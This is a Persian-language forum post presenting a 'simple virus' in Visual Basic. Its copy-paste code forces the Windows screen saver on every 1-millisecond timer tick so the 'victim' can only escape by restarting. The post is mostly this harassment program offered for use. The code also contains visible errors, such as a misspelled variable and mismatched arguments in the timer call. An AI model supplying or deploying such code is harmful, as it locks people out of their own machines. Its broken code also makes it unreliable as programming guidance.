یک ویروس ساده به کمک ویژوال بیسیک

[king75]

یک ویروس ساده به کمک ویژوال بیسیک

این برنامه (ویروس)ویندوز رو به حالت screen saver می بره ولی کاربر دیگه قادر نیست از screen saver

خارج بشه و مطمئن باشید راه دیگه ای بجز ری استارت سیستم نمی موند

خب برای شروع ابتدا این کد ها رو در قسمت Generalفرم قرار دهید (کپی کنید)

کد:

Private Const SC_SCREEnSAVE = &HF140&

Private Const WM_SYSCOMMAND = &H112

Private Declare Function FindWindowA Lib "user32" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParm As Any) As Long

Sub ScreenSaver(blnScreenSaver As Boolean, Optional lHwnd As Long, Optional sFormCaption As String)

Dim lState As Long

If lHwnd = 0 Then

lHwnd = FindWindowA(vbNullString, sFormCaption)

End If

If blnScreenSaver Then

lState = 1

Else

lstat = -1

End If

Call SendMessage(lHwnd, WM_SYSCOMMAND, SC_SCREEnSAVE, lState)

End Sub

و در اخر یه timerبا قابلیت interval=1 به فرم اضافه کنید و کد های زیر را به فرم اضافه کنید(کپی کنید)

کد:

Private Sub Timer1_Timer()

Call ScreenSaver(Me.hWnd, Me.hWnd, -1)

End Sub

تو ضیحات:

۱-صرفا عاملی که بر نامه رو به یه شبه ویروس تبدیل می کنه وجوده تایمره با قابلیت intervalبسیار کم برای

گرفتن هر گونه قدرت عکس العمل از قربانی میگیره چون باعث میشه هربار که کاربر screen saver

را غیر فعال می کنه دوباره اونو اجرا کنه